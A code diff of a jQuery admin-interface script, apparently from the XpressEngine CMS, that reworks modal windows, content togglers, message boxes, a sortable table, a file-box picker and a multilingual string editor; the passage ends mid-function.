.mouseleave(function(){ - $(this) - .parent('.gnb').removeClass('active').end() - .find('>li>ul').css('height','0').end() - }) - .focusout(function(){ - var $this = $(this); - setTimeout(function(){ - if(!$this.find(':focus').length) { - $this.mouseleave(); - } - }, 1); - }) - .delegate('a', { - focus : function(){ - $(this).mouseover(); - } - }); + $('.x i').vr(); +// label[for] + input[id]/textarea[id]/select[id] creator + $.fn.labelMaker = function(){ + this.each(function(index){ + index = index + 1; + var $this = $(this); + var input = 'input, textarea, select'; + var check = ':radio, :checkbox'; + var id = '[id]'; + var value = 'i' + index; + if($this.next(input).filter(id).not(check).length){ + // next input, textarea, select id true + $this.attr('for', $this.next().attr('id')); + } else if ($this.next(input).not(id).not(check).length) { + // next input, textarea, select id false + $this.attr('for', value).next().attr('id', value); + } else if ($this.prev(check).filter(id).length) { + // prev :radio :checkbox id true + $this.attr('for', $this.prev().attr('id')); + } else if ($this.prev(check).not(id).length) { + // prev :radio :checkbox id false + $this.attr('for', value).prev().attr('id', value); + } else if ($this.children(input).filter(id).length) { + // children id true + $this.attr('for', $this.children(input).filter(id).eq(0).attr('id')); + } else if ($this.children(input).not(id).length) { + // children id false + $this.attr('for', value).children(input).not(id).eq(0).attr('id', value); + } + }); }; - - $('div.gnb').xeMenu(); - - $('.gnb>.mnv').change(function(){ - window.location.href=$(this).find('option:selected').val(); - }); - + $('label:not([for])').labelMaker(); +// :radio, :checkbox checked class + $.fn.checkToggle = function(){ + function check(){ + setTimeout(function(){ + $(':checked').parent('label').addClass('checked'); + $(':not(":checked")').parent('label').removeClass('checked'); + },0); + } + this.change(check); + check(); + }; + $(':radio, :checkbox').checkToggle(); +// File input .overlap style + $.fn.fileTypeOverlap = function(){ + this.each(function(){ + var $this = $(this); + $this.wrap('').before($this.attr('title')); + }); + }; + $('input[type="file"].overlap').fileTypeOverlap(); +// Table Col Span + $.fn.tableSpan = function(){ + this.each(function(){ + var $this = $(this); + var thNum = $this.find('>thead>tr:eq(0)>th').length; + var $tdTarget = $this.find('>tbody>tr:eq(0)>td:only-child'); + if(thNum != $tdTarget.attr('colspan')){ + $tdTarget.attr('colspan', thNum).css('text-align','center'); + } + }); + }; + $('table').tableSpan(); }); - - // Modal Window jQuery(function($){ + var ESC = 27; + var xeModalStack = new Array(); + var xeModalInitailZIndex = 1040; -var ESC = 27; + // modal backdrop + var $xeModalBackdrop = $('
                    ').appendTo('body').hide(); -$.fn.xeModalWindow = function(){ - this - .not('.xe-modal-window') - .addClass('xe-modal-window') - .each(function(){ - $( $(this).attr('href') ).addClass('x').hide(); - }) - .click(function(){ - var $this = $(this), $modal, $btnClose, disabled; + $.fn.xeModalWindow = function(){ + this + .not('.xe-modal-window') + .addClass('xe-modal-window') + .each(function(){ + $( $(this).attr('href') ).addClass('x').hide(); + }) + .click(function(){ + var $this = $(this), $modal, $btnClose, disabled; - // get and initialize modal window - $modal = $( $this.attr('href') ); - if(!$modal.parent('body').length) { - $btnClose = $(''); - $btnClose.click(function(){ $modal.data('anchor').trigger('close.mw') }); + // get and initialize modal window + $modal = $( $this.attr('href') ); + + if($modal.data('state') == 'showing') { + $this.trigger('close.mw'); + } else { + $this.trigger('open.mw'); + } + return false; + }) + .bind('open.mw', function(){ + var $this = $(this), $modal, $btnClose, disabled, before_event, duration; + + // get modal window + $modal = $( $this.attr('href') ); + + // if stack top is this modal, ignore + if(xeModalStack.length && xeModalStack[xeModalStack.length - 1].get(0) == $modal.get(0)){ + return; + } + + if(!$modal.parent('body').length) { + $btnClose = $(''); + $btnClose.click(function(){ $modal.data('anchor').trigger('close.mw') }); + $modal.find('[data-hide]').click(function(){ $modal.data('anchor').trigger('close.mw') }); + $('body').append($modal); + $modal.prepend($btnClose); // prepend close button + } + + // set the related anchor + $modal.data('anchor', $this); + + // before event trigger + before_event = $.Event('before-open.mw'); + $this.trigger(before_event); + + // is event canceled? + if(before_event.isDefaultPrevented()) return false; + + // get duration + duration = $this.data('duration') || 'fast'; + + // set state : showing + $modal.data('state', 'showing'); + + // after event trigger + function after(){ $this.trigger('after-open.mw') }; + + $(document).bind('keydown.mw', function(event){ + if(event.which == ESC) { + $this.trigger('close.mw'); + return false; + } + }); $modal - .prepend('') - .append('') - .find('>.fg') - .prepend($btnClose) - .append($btnClose.clone(true)) - .end() - .appendTo('body'); - } + .fadeIn(duration, after) + .find('button.x_close:first').focus(); - // set the related anchor - $modal.data('anchor', $this); + $('body').css('overflow','hidden'); - if($modal.data('state') == 'showing') { - $this.trigger('close.mw'); - } else { - $this.trigger('open.mw'); - } + // push to stack + xeModalStack.push($modal); - return false; - }) - .bind('open.mw', function(){ - var $this = $(this), before_event, $modal, duration; + // show backdrop and adjust z-index + var zIndex = xeModalInitailZIndex + ((xeModalStack.length - 1) * 2); - // before event trigger - before_event = $.Event('before-open.mw'); - $this.trigger(before_event); + $xeModalBackdrop.css('z-index', zIndex).show(); + $modal.css('z-index', zIndex + 1); + }) + .bind('close.mw', function(){ + var $this = $(this), before_event, $modal, duration; - // is event canceled? - if(before_event.isDefaultPrevented()) return false; + // get modal window + $modal = $( $this.attr('href') ); - // get modal window - $modal = $( $this.attr('href') ); - - // get duration - duration = $this.data('duration') || 'fast'; - - // set state : showing - $modal.data('state', 'showing'); - - // workaroud for IE6 - $('html,body').addClass('modalContainer'); - - // after event trigger - function after(){ $this.trigger('after-open.mw') }; - - $(document).bind('keydown.mw', function(event){ - if(event.which == ESC) { - $this.trigger('close.mw'); - return false; + // if stack top is not this modal, ignore + if(xeModalStack.length && xeModalStack[xeModalStack.length - 1].get(0) != $modal.get(0)){ + return; } + + // before event trigger + before_event = $.Event('before-close.mw'); + $this.trigger(before_event); + + // is event canceled? + if(before_event.isDefaultPrevented()) return false; + + // get duration + duration = $this.data('duration') || 'fast'; + + // set state : hiding + $modal.data('state', 'hiding'); + + // after event trigger + function after(){ $this.trigger('after-close.mw') }; + + $modal.fadeOut(duration, after); + $('body').css('overflow','auto'); + $this.focus(); + + // pop from stack + xeModalStack.pop(); + + // hide backdrop and adjust z-index + var zIndex = xeModalInitailZIndex + ((xeModalStack.length - 1) * 2); + + if(xeModalStack.length){ + $xeModalBackdrop.css('z-index', zIndex); + }else{ + $xeModalBackdrop.hide(); + } + }); - - $modal - .fadeIn(duration, after) - .find('>.bg').height($(document).height()).end() - .find('button.modalClose:first').focus(); - }) - .bind('close.mw', function(){ - var $this = $(this), before_event, $modal, duration; - - // before event trigger - before_event = $.Event('before-close.mw'); - $this.trigger(before_event); - - // is event canceled? - if(before_event.isDefaultPrevented()) return false; - - // get modal window - $modal = $( $this.attr('href') ); - - // get duration - duration = $this.data('duration') || 'fast'; - - // set state : hiding - $modal.data('state', 'hiding'); - - // workaroud for IE6 - $('html,body').removeClass('modalContainer'); - - // after event trigger - function after(){ $this.trigger('after-close.mw') }; - - $modal.fadeOut(duration, after); - $this.focus(); - }); -}; -$('a.modalAnchor').xeModalWindow(); -$('div.modal').addClass('x').hide(); - + $('div.x_modal').addClass('x'); + }; + $('a.modalAnchor').xeModalWindow(); }); // Content Toggler jQuery(function($){ + var dont_close_this_time = false; + var ESC = 27; -var dont_close_this_time = false; -var ESC = 27; + $.fn.xeContentToggler = function(){ + this + .not('.xe-content-toggler') + .addClass('xe-content-toggler') + .each(function(){ + var $anchor = $(this); $layer = $($anchor.attr('href')); -$.fn.xeContentToggler = function(){ - this - .not('.xe-content-toggler') - .addClass('xe-content-toggler') - .each(function(){ - var $anchor = $(this); $layer = $($anchor.attr('href')); + $layer.hide() + .not('.xe-toggling-content') + .addClass('xe-toggling-content') + .mousedown(function(event){ dont_close_this_time = true }) + .focusout(function(event){ + setTimeout(function(){ + if(!dont_close_this_time && !$layer.find(':focus').length && $layer.data('state') == 'showing') $anchor.trigger('close.tc'); + dont_close_this_time = false; + }, 1); + }); + }) + .click(function(){ + var $this = $(this), $layer; - $layer.hide() - .not('.xe-toggling-content') - .addClass('xe-toggling-content') - .mousedown(function(event){ dont_close_this_time = true }) - .focusout(function(event){ - setTimeout(function(){ - if(!dont_close_this_time && !$layer.find(':focus').length && $layer.data('state') == 'showing') $anchor.trigger('close.tc'); - dont_close_this_time = false; - }, 1); - }); - }) - .click(function(){ - var $this = $(this), $layer; + // get content container + $layer = $( $this.attr('href') ); - // get content container - $layer = $( $this.attr('href') ); + // set anchor object + $layer.data('anchor', $this); - // set anchor object - $layer.data('anchor', $this); + if($layer.data('state') == 'showing') { + $this.trigger('close.tc'); + } else { + $this.trigger('open.tc'); + } - if($layer.data('state') == 'showing') { - $this.trigger('close.tc'); - } else { - $this.trigger('open.tc'); - } + return false; + }) + .bind('open.tc', function(){ + var $this = $(this), $layer, effect, duration; - return false; - }) - .bind('open.tc', function(){ - var $this = $(this), $layer, effect, duration; + // get content container + $layer = $( $this.attr('href') ); - // get content container - $layer = $( $this.attr('href') ); + // get effeect + effect = $this.data('effect'); - // get effeect - effect = $this.data('effect'); + // get duration + duration = $this.data('duration') || 'fast'; - // get duration - duration = $this.data('duration') || 'fast'; + // set state : showing + $layer.data('state', 'showing'); - // set state : showing - $layer.data('state', 'showing'); + // before event trigger + $this.trigger('before-open.tc'); - // before event trigger - $this.trigger('before-open.tc'); + dont_close_this_time = false; - dont_close_this_time = false; - - // When mouse button is down or when ESC key is pressed close this layer - $(document) - .unbind('mousedown.tc keydown.tc') - .bind('mousedown.tc keydown.tc', - function(event){ - if(event) { - if(event.type == 'keydown' && event.which != ESC) return true; - if(event.type == 'mousedown') { - var $t = $(event.target); - if($t.is('html,.tgAnchor,.tgContent') || $layer.has($t).length) return true; + // When mouse button is down or when ESC key is pressed close this layer + $(document) + .unbind('mousedown.tc keydown.tc') + .bind('mousedown.tc keydown.tc', + function(event){ + if(event) { + if(event.type == 'keydown' && event.which != ESC) return true; + if(event.type == 'mousedown') { + var $t = $(event.target); + if($t.is('html,.tgAnchor,.tgContent') || $layer.has($t).length) return true; + } } + + $this.trigger('close.tc'); + + return false; } + ); - $this.trigger('close.tc'); + // triggering after + function trigger_after(){ $this.trigger('after-open.tc') } - return false; - } - ); + switch(effect) { + case 'slide': + $layer.slideDown(duration, trigger_after); + break; + case 'slide-h': + var w = $layer.css({'overflow-x':'',width:''}).width(); + $layer + .show() + .css({'overflow-x':'hidden',width:'0px'}) + .animate({width:w}, duration, function(){ $layer.css({'overflow-x':'',width:''}); trigger_after(); }); + break; + case 'fade': + $layer.fadeIn(duration, trigger_after); + break; + default: + $layer.show(); + $this.trigger('after-open.tc'); + } + }) + .bind('close.tc', function(){ + var $this = $(this), $layer, effect, duration; - // triggering after - function trigger_after(){ $this.trigger('after-open.tc') } + // unbind document's event handlers + $(document).unbind('mousedown.tc keydown.tc'); - switch(effect) { - case 'slide': - $layer.slideDown(duration, trigger_after); - break; - case 'slide-h': - var w = $layer.css({'overflow-x':'',width:''}).width(); - $layer - .show() - .css({'overflow-x':'hidden',width:'0px'}) - .animate({width:w}, duration, function(){ $layer.css({'overflow-x':'',width:''}); trigger_after(); }); - break; - case 'fade': - $layer.fadeIn(duration, trigger_after); - break; - default: - $layer.show(); - $this.trigger('after-open.tc'); - } - }) - .bind('close.tc', function(){ - var $this = $(this), $layer, effect, duration; + // get content container + $layer = $( $this.attr('href') ); - // unbind document's event handlers - $(document).unbind('mousedown.tc keydown.tc'); + // get effeect + effect = $this.data('effect'); - // get content container - $layer = $( $this.attr('href') ); + // get duration + duration = $this.data('duration') || 'fast'; - // get effeect - effect = $this.data('effect'); + // set state : hiding + $layer.data('state', 'hiding'); - // get duration - duration = $this.data('duration') || 'fast'; + // before event trigger + $this.trigger('before-close.tc'); - // set state : hiding - $layer.data('state', 'hiding'); + // triggering after + function trigger_after(){ $this.trigger('after-close.tc') }; - // before event trigger - $this.trigger('before-close.tc'); + // close this layer + switch(effect) { + case 'slide': + $layer.slideUp(duration, trigger_after); + break; + case 'slide-h': + $layer.animate({width:0}, duration, function(){ $layer.hide(); trigger_after(); }); + break; + case 'fade': + $layer.fadeOut(duration, trigger_after); + break; + default: + $layer.hide(); + $this.trigger('after-close.tc'); + } + }); - // triggering after - function trigger_after(){ $this.trigger('after-close.tc') }; - - // close this layer - switch(effect) { - case 'slide': - $layer.slideUp(duration, trigger_after); - break; - case 'slide-h': - $layer.animate({width:0}, duration, function(){ $layer.hide(); trigger_after(); }); - break; - case 'fade': - $layer.fadeOut(duration, trigger_after); - break; - default: - $layer.hide(); - $this.trigger('after-close.tc'); - } - }); - - return this; -}; - -$('a.tgAnchor').xeContentToggler(); + return this; + }; + $('a.tgAnchor').xeContentToggler(); }); // Module finder jQuery(function($){ + $.fn.xeModuleFinder = function(){ + this + .not('.xe-module-finder') + .addClass('xe-module-finder') + .find('a.tgAnchor.findsite') + .bind('before-open.tc', function(){ + var $this, $ul, val; -$.fn.xeModuleFinder = function(){ - this - .not('.xe-module-finder') - .addClass('xe-module-finder') - .find('a.tgAnchor.findsite') - .bind('before-open.tc', function(){ - var $this, $ul, val; + $this = $(this); + $ul = $($this.attr('href')).find('>ul'); + val = $this.prev('input:text').val(); - $this = $(this); - $ul = $($this.attr('href')).find('>ul'); - val = $this.prev('input:text').val(); + function on_complete(data) { + var $li, list = data.site_list, i, c; - function on_complete(data) { - var $li, list = data.site_list, i, c; + $ul.empty(); + $this.closest('.modulefinder').find('.moduleList,.moduleIdList').attr('disabled','disabled'); - $ul.empty(); - $this.closest('.modulefinder').find('.moduleList,.moduleIdList').attr('disabled','disabled'); + if(data.error || !$.isArray(list)) { + $this.trigger('close.tc'); + return; + } - if(data.error || !$.isArray(list)) { - $this.trigger('close.tc'); - return; - } + for(i=0,c=list.length; i < c; i++) { + $li = $('
                  2. ').appendTo($ul); + $('\ +
                    \ +

                    \ +
                    \ +
                    \ +
                    \ +
                    \ + '); + + $("body").append($msgBox); + $msgBox.find("._ok").click(function(){ + $.xeMsgBox.fnOnOK(); + }); + $msgBox.find("._cancel").click(function(){ + $.xeMsgBox.fnOnCancel(); + }); + $msgBox.bind("show", function(){ + $.xeMsgBox.bVisible = true; + $.xeMsgBox._showFoggy(); + $.xeMsgBox.fnOnShow(); + + if($msgBox.find('input,button').length > 0){ + setTimeout(function(){ + $msgBox.find('input,button').each(function(n, el){ + var $el = $(el); + if($el.is(":visible")){ + $el.focus(); + return false; + } + }); + }, 0); + } + }); + $msgBox.bind("hide", function(){ + $.xeMsgBox.bVisible = false; + $.xeMsgBox._hideFoggy(); + $.xeMsgBox.fnOnHide(); + }); + $(document.body).on('keydown', function(ev){ + if(!$.xeMsgBox.bVisible) return; + + if(ev.keyCode === 27){ + $msgBox.find("._cancel").click(); + ev.preventDefault(); + } + }); + + $.xeMsgBox.fnOnOK = function(){ + if(typeof $.xeMsgBox.htOptions.fnOnOK === "function"){ + if($.xeMsgBox.htOptions.fnOnOK()) return; + } + + $msgBox.hide(); + }; + + $.xeMsgBox.fnOnCancel = function(){ + if(typeof $.xeMsgBox.htOptions.fnOnCancel === "function") $.xeMsgBox.htOptions.fnOnCancel(); + + $msgBox.hide(); + }; + + $.xeMsgBox.fnOnShow = function(){ + if(typeof $.xeMsgBox.htOptions.fnOnShow === "function") $.xeMsgBox.htOptions.fnOnShow(); + }; + + $.xeMsgBox.fnOnHide = function(){ + if(typeof $.xeMsgBox.htOptions.fnOnHide === "function") $.xeMsgBox.htOptions.fnOnHide(); + }; + + + $.xeMsgBox.showMsgBox = function(htOptions){ + // sTitle, sText, fnOnOK, fnOnCancel, bSmall, bAlert, fnOnShow, fnOnHide, bDanger + $('head>link[rel="stylesheet"]:last').after(''); + htOptions = $.xeMsgBox.htOptions = htOptions || {}; + + var sTitle = htOptions.sTitle || ""; + var sText = htOptions.sText || ""; + + var bDanger = htOptions.bDanger || false; + + $msgBox.find("._title") .html(sTitle); + $msgBox.find("._text").html(sText); + + if(sText === ""){ + $msgBox.addClass('_nobody'); + }else{ + $msgBox.removeClass('_nobody'); + } + + var $confirmBtn = $msgBox.find('._ok'); + if(bDanger){ + $confirmBtn.removeClass('x_btn-inverse'); + $confirmBtn.addClass('x_btn-danger'); + }else{ + $confirmBtn.removeClass('x_btn-danger'); + $confirmBtn.addClass('x_btn-inverse'); + } + + // #msgBox._small {width:400px;margin-left:-200px} + // #msgBox._type_alert _cancel{display:none} + if(htOptions.bSmall){ + $msgBox.addClass("_small"); + }else{ + $msgBox.removeClass("_small"); + } + + if(htOptions.bAlert){ + $msgBox.addClass("_type_alert"); + }else{ + $msgBox.removeClass("_type_alert"); + } + + $msgBox.show(); + } + $.xeMsgBox.alertDialog = function(htOptions){ + htOptions = htOptions || {}; + htOptions.bAlert = true; + + this.showMsgBox(htOptions); + } + $.xeMsgBox.alert = function(sText){ + htOptions = { + bAlert : true, + bNobody : true, + bSmall: true, + sText : sText + }; + + this.showMsgBox(htOptions); + } + $.xeMsgBox.confirmDialog = function(htOptions){ + htOptions = htOptions || {}; + htOptions.bAlert = false; + + this.showMsgBox(htOptions); + } + + var $foggyLayer = $.xeMsgBox.$foggyLayer = $("
                    "); + $foggyLayer.css({ + position: 'fixed', + top:0, + left:0, + backgroundColor:'#000', + opacity: 0.5, + display:'none', + zIndex:9998 + }); + //$($.find("body")).append($msgBox); + $($.find("body")).append($foggyLayer); + + $.xeMsgBox._resizeFoggy = function(){ + $foggyLayer.css({ + width: 0, + height: 0 + }); + + setTimeout(function(){ + $foggyLayer.css({ + width: $(document).width(), + height: $(document).height() + }); + }, 0); + } + $(window).resize($.xeMsgBox._resizeFoggy); + $.xeMsgBox._resizeFoggy(); + + $.xeMsgBox._showFoggy = function(){ + $foggyLayer.show(); + } + $.xeMsgBox._hideFoggy = function(){ + $foggyLayer.hide(); + } +}); + +jQuery(function($){ + $.xeFoggy = {}; + + var $foggyLayer = $.xeFoggy.$foggyLayer = $("
                    "); + $foggyLayer.css({ + position: 'fixed', + top:0, + left:0, + backgroundColor:'#000', + opacity: 0.5, + display:'none', + zIndex:9998 + }); + $("body").append($foggyLayer); + + $.xeFoggy._resizeFoggy = function(){ + $foggyLayer.css({ + width: 0, + height: 0 + }); + + setTimeout(function(){ + $foggyLayer.css({ + width: $(document).width(), + height: $(document).height() + }); + }, 0); + } + $(window).resize($.xeFoggy._resizeFoggy); + $.xeFoggy._resizeFoggy(); + + $.xeFoggy.show = function(bClear){ + if(bClear){ + $foggyLayer.css({ + opacity: 0 + }); + }else{ + $foggyLayer.css({ + opacity: 0.5 + }); + } + $foggyLayer.show(); + } + $.xeFoggy.hide = function(){ + $foggyLayer.hide(); + } }); // Sortable table jQuery(function($){ + var + dragging = false, + $holder = $(' '); -var - dragging = false, - $holder = $(' '); + $.fn.xeSortableTable = function(){ + this + .not('.xe-sortable-table') + .addClass('xe-sortable-table') + .delegate('button.dragBtn', 'mousedown.st', function(event){ + var $this, $tr, $table, $th, height, width, offset, position, offsets, i, dropzone, cols, ofspar; -$.fn.xeSortableTable = function(){ - this - .not('.xe-sortable-table') - .addClass('xe-sortable-table') - .delegate('button.dragBtn', 'mousedown.st', function(event){ - var $this, $tr, $table, $th, height, width, offset, position, offsets, i, dropzone, cols, ofspar; + if(event.which != 1) return; - if(event.which != 1) return; + $this = $(this); + $tr = $this.closest('tr'); + $table = $this.closest('table'); + ofspar = $table.get(0).offsetParent; + height = $tr.height(); + width = $tr.width(); - $this = $(this); - $tr = $this.closest('tr'); - $table = $this.closest('table'); - ofspar = $table.get(0).offsetParent; - height = $tr.height(); - width = $tr.width(); + // before event trigger + before_event = $.Event('before-drag.st'); + $table.trigger(before_event); - // before event trigger - before_event = $.Event('before-drag.st'); - $table.trigger(before_event); + // is event canceled? + if(before_event.isDefaultPrevented()) return false; - // is event canceled? - if(before_event.isDefaultPrevented()) return false; + position = {x:event.pageX, y:event.pageY}; + offset = getOffset($tr.get(0), ofspar); - position = {x:event.pageX, y:event.pageY}; - offset = getOffset($tr.get(0), ofspar); + $clone = $tr.attr('target', true).clone(true).appendTo($table); - $clone = $tr.attr('target', true).clone(true).appendTo($table); + // get colspan + cols = ($th=$table.find('thead th')).length; + $th.filter('[colspan]').attr('colspan', function(idx,attr){ cols += attr - 1; }); + $holder.find('td').attr('colspan', cols); - // get colspan - cols = ($th=$table.find('thead th')).length; - $th.filter('[colspan]').attr('colspan', function(idx,attr){ cols += attr - 1; }); - $holder.find('td').attr('colspan', cols); + // get offsets of all list-item elements + offsets = []; + $table.find('tbody>tr:not([target],.sticky,:hidden)').each(function() { + var $this = $(this), o; - // get offsets of all list-item elements - offsets = []; - $table.find('tbody>tr:not([target],.sticky,:hidden)').each(function() { - var $this = $(this), o; + o = getOffset(this, ofspar); + offsets.push({top:o.top, bottom:o.top+$this.height(), $item:$this}); + }); - o = getOffset(this, ofspar); - offsets.push({top:o.top, bottom:o.top+$this.height(), $item:$this}); + $clone + .addClass('draggable') + .css({ + position: 'absolute', + opacity : .6, + width : width, + height : height, + left : offset.left, + top : offset.top, + zIndex : 100 + }); + + // Set a place holder + $holder + .css({ + position:'absolute', + opacity : .6, + width : width, + height : '10px', + left : offset.left, + top : offset.top, + backgroundColor : '#bbb', + overflow: 'hidden', + zIndex : 99 + }) + .appendTo($table); + + $tr.css('opacity', .6); + + $(document) + .unbind('mousedown.st mouseup.st') + .bind('mousemove.st', function(event) { + var diff, nTop, item, i, c, o; + + dropzone = null; + + diff = {x:position.x-event.pageX, y:position.y-event.pageY}; + nTop = offset.top - diff.y; + + for(i=0,c=offsets.length; i < c; i++) { + o = offsets[i]; + if( (i && o.top > nTop) || ((i < c-1) && o.bottom < nTop)) continue; + + dropzone = {element:o.$item}; + if(o.top > nTop - 12) { + dropzone.state = 'before'; + $holder.css('top', o.top-5); + } else { + dropzone.state = 'after'; + $holder.css('top', o.bottom-5); + } + } + + $clone.css({top:nTop}); + }) + .bind('mouseup.st', function(event) { + var $dropzone; + + dragging = false; + + $(document).unbind('mousemove.st mouseup.st'); + $tr.removeAttr('target').css('opacity', ''); + $clone.remove(); + $holder.remove(); + + if(!dropzone) return; + $dropzone = $(dropzone.element); + + // use the clone for animation + $dropzone[dropzone.state]($tr); + + $table.trigger('after-drag.st'); + }); + }) + + return this; + }; + $('table.sortable').xeSortableTable(); +}); + +// filebox +jQuery(function($){ + $('.filebox') + .bind('before-open.mw', function(){ + var $this, $list, $parentObj; + var anchor; + + $this = $(this); + anchor = $this.attr('href'); + + $list = $(anchor).find('.filebox_list'); + + function on_complete(data){ + $list.html(data.html); + + $list.find('.select') + .bind('click', function(event){ + var selectedImages = $('input.select_checkbox:checked'); + if(selectedImages.length == 0) { + var selectedImgSrc = $(this).closest('tr').find('img.filebox_item').attr('src'); + if(!selectedImgSrc){ + alert("None selected!"); + }else{ + $this.trigger('filebox.selected', [selectedImgSrc]); + $this.trigger('close.mw'); + } + }else { + $this.trigger('filebox.selected', [selectedImages]); + $this.trigger('close.mw'); + } + return false; + }); + + $list.find('.x_pagination') + .find('a') + .filter(function(){ + if ($(this).data('toggle')) return false; + if ($(this).parent().hasClass('x_disabled')) return false; + if ($(this).parent().hasClass('x_active')) return false; + return true; + }) + .bind('click', function(){ + var page = $(this).attr('page'); + + $.exec_json('module.getFileBoxListHtml', {'page': page}, on_complete); + return false; + }); + + $('#goToFileBox') + .find('button') + .bind('click', function(){ + var page = $(this).prev('input').val(); + + $.exec_json('module.getFileBoxListHtml', {'page': page}, on_complete); + return false; + }); + + $list.closest('.x_modal-body').scrollTop(0); + } + + $.exec_json('module.getFileBoxListHtml', {'page': '1'}, on_complete); + }); +// Details toggle in admin table + var simpleBtn = $('.x .dsTg .__simple'); + var detailBtn = $('.x .dsTg .__detail'); + var tdTitle = $('.x .dsTg td.title'); + tdTitle.each(function(){ + var $t = $(this) + if($t.find('p.x_alert').length==0){ + $t.addClass('tg').find('>*:not(:first-child)').hide(); + } + }); + var details = $('.x .dsTg td.tg>*:not(:first-child)'); + simpleBtn.click(function(){ + details.hide(); + detailBtn.removeClass('x_active'); + simpleBtn.addClass('x_active'); + }); + detailBtn.click(function(){ + details.show(); + detailBtn.addClass('x_active'); + simpleBtn.removeClass('x_active'); + }); +}); + +// Multilingual Window +jQuery(function($){ + $.fn.xeMultilingualWindow = function(options){ + var $g11n_get = $(this); + var $g11n_create = $g11n_get.find('#lang_create'); + var $g11n_search = $g11n_get.find('#lang_search'); + var is_create_changed = false; + + // options + options = $.extend({ + create_type: 'save_and_use', + modify_type: 'save_and_use', + view_use: true, + view_modify: true, + view_delete: false, + list_count: 5 + }, options || {}); + + // change text + if(options.create_type != 'save_and_use'){ + $g11n_create.find('.save-useit').text(xe.cmd_save); + } + + // #lang_create confirm + function g11n_create_save_confirm(){ + if($g11n_create.is(':visible') && is_create_changed){ + if(confirm(xe.msg_confirm_save_and_use_multilingual)){ + $g11n_create.find('.save-useit').trigger('click'); + } + } + + return true; + } + + // #lang_search confirm + function g11n_search_save_confirm(){ + if($g11n_search.is(':visible') && $g11n_search.find('.editMode').length){ + var $search_item = $g11n_search.find('.editMode'); + if(confirm(xe.msg_confirm_save_and_use_multilingual)){ + $search_item.find('.save').trigger('click'); + }else{ + $search_item.find('.cancel').trigger('click'); + } + } + + return true; + } + + // #g11n Reset to default + function g11n_reset_default(){ + $g11n_search.find('.item > fieldset').hide().prev('a').children('i').removeClass('x_icon-chevrom-up').addClass('x_icon-chevron-down'); + $g11n_get.find('[href="#lang_create"]').trigger('click'); + $g11n_create.find('.editMode').children('textarea').val(''); + is_create_changed = false; + + return true; + } + + // before open + function g11n_before_open(code){ + if(!code){ + g11n_get_list(1, xe.current_lang, '', '', false); + }else{ + g11n_get_list(1, xe.current_lang, '', code, false); + $g11n_get.find('[href="#lang_search"]').trigger('click', true); + } + } + + // before close + function g11n_before_close(){ + if(!g11n_create_save_confirm()) return false; + if(!g11n_search_save_confirm()) return false; + if(!g11n_reset_default()) return false; + } + + // use lang code + function g11n_use_lang_code(code, value){ + var $target = $g11n_get.data('lang-target'); + is_create_changed = false; + + if($target) + $target.trigger('selected.g11n', [code, value]); + } + + // get list + function g11n_get_list(page, lang_code, search_keyword, name, scroll){ + if(typeof page == 'undefined') page = 1; + if(typeof lang_code == 'undefined') lang_code = xe.current_lang; + if(typeof search_keyword == 'undefined') search_keyword = ''; + if(typeof name == 'undefined') name = ''; + if(typeof scroll == 'undefined') scroll = true; + + $.exec_json('module.getModuleAdminLangListHtml', { + 'page': page, + 'lang_code': lang_code, + 'search_keyword': search_keyword, + 'name': name, + 'list_count': options.list_count, + 'mid': current_url.getQuery('mid') + }, function(data){ + if(!data || !data.html) return; + + $g11n_search.html(data.html); + + g11n_search_page(); + g11n_search_search(); + g11n_search_text(); + g11n_search_button(); + + if(scroll) document.location.href = '#lang_search'; + + if(name){ + $('#lang_search').find('[href^="#lang-"]').trigger('click'); + } + }); + } + + // page + function g11n_search_page(){ + $g11n_search.find('.x_pagination a').click(function(){ + var page = $(this).data('page'); + var search_keyword = $(this).data('search_keyword'); + var lang_code = $(this).data('current_lang'); + + if(!page) return; + + g11n_get_list(page, lang_code, search_keyword); + return false; }); - $clone - .addClass('draggable') - .css({ - position: 'absolute', - opacity : .6, - width : width, - height : height, - left : offset.left, - top : offset.top, - zIndex : 100 + $g11n_search.find('.x_pagination').submit(function(){ + var page = $(this).find('[name="page"]').val(); + var search_keyword = $(this).data('search_keyword'); + var lang_code = $(this).data('current_lang'); + + if(!page) return false; + + g11n_get_list(page, lang_code, search_keyword); + return false; + }); + } + + // search + function g11n_search_search(){ + $g11n_search.find('.search').submit(function(){ + var search_keyword = $(this).find('[name="search_keyword"]').val(); + var lang_code = $(this).find('[name="lang_code"]').val(); + + g11n_get_list(1, lang_code, search_keyword); + return false; + }); + + $g11n_search.find('#search_cancel').click(function(){ + g11n_get_list(1, xe.current_lang, ''); + }); + } + + // text click + function g11n_search_text(){ + $g11n_search.find('.set').append('').click(function(){ + var $this = $(this); + var lang_code = $this.data('lang_code'); + + g11n_search_save_confirm(); + + // Fieldset close/open display + var up = 'x_icon-chevron-up'; + var down = 'x_icon-chevron-down'; + if($this.next('fieldset').is(':visible')){ + $this.children('i').removeClass(up).addClass(down); + }else{ + $this.parent('.item').siblings('.item').find('a > i').removeClass(up).addClass(down).end().children('fieldset').hide(); + $this.children('i').removeClass(down).addClass(up); + } + + if(typeof $this.data('is_loaded') != 'undefined') return; + + $.exec_json('module.getModuleAdminLangCode', { + 'name': lang_code, + 'mid': current_url.getQuery('mid') + }, on_complete); + + function on_complete(data){ + var $textareas = $this.next('fieldset').find('textarea'); + + $textareas.each(function(){ + var $this = $(this); + var value = data.langs[$this.data('lang')]; + var pattern = /^\$user_lang->/; + + if(pattern.test(value)){ + $this.val('').data('value', ''); + }else{ + $this.val(value).data('value', value); + } + }); + + $this.data('is_loaded', true); + } + }); + } + + // search buttons + function g11n_search_button(){ + if(!options.view_use) $g11n_search.find('.useit').hide(); + if(!options.view_modify) $g11n_search.find('.modify').hide(); + if(!options.view_delete) $g11n_search.find('.delete').hide(); + if(options.modify_type == 'save'){ + $g11n_search.find('.save').text(xe.cmd_save); + } + + // Modify click + $g11n_search.find('.modify').click(function(){ + $(this).closest('fieldset').addClass('editMode').find('textarea').removeAttr('disabled'); + $(this).siblings('.cancel').prependTo($(this).parent()); + $(this).siblings('.delete').attr('disabled', 'disabled'); + }); + + // Cancel Click + $g11n_search.find('.cancel').click(function(){ + $(this).closest('fieldset').removeClass('editMode').find('textarea').attr('disabled', 'disabled').each(function(){ + var $this = $(this); + + $this.val($this.data('value')); }); - // Set a place holder - $holder - .css({ - position:'absolute', - opacity : .6, - width : width, - height : '10px', - left : offset.left, - top : offset.top, - backgroundColor : '#bbb', - overflow: 'hidden', - zIndex : 99 - }) - .appendTo($table); + $(this).siblings('.modify').prependTo($(this).parent()); + 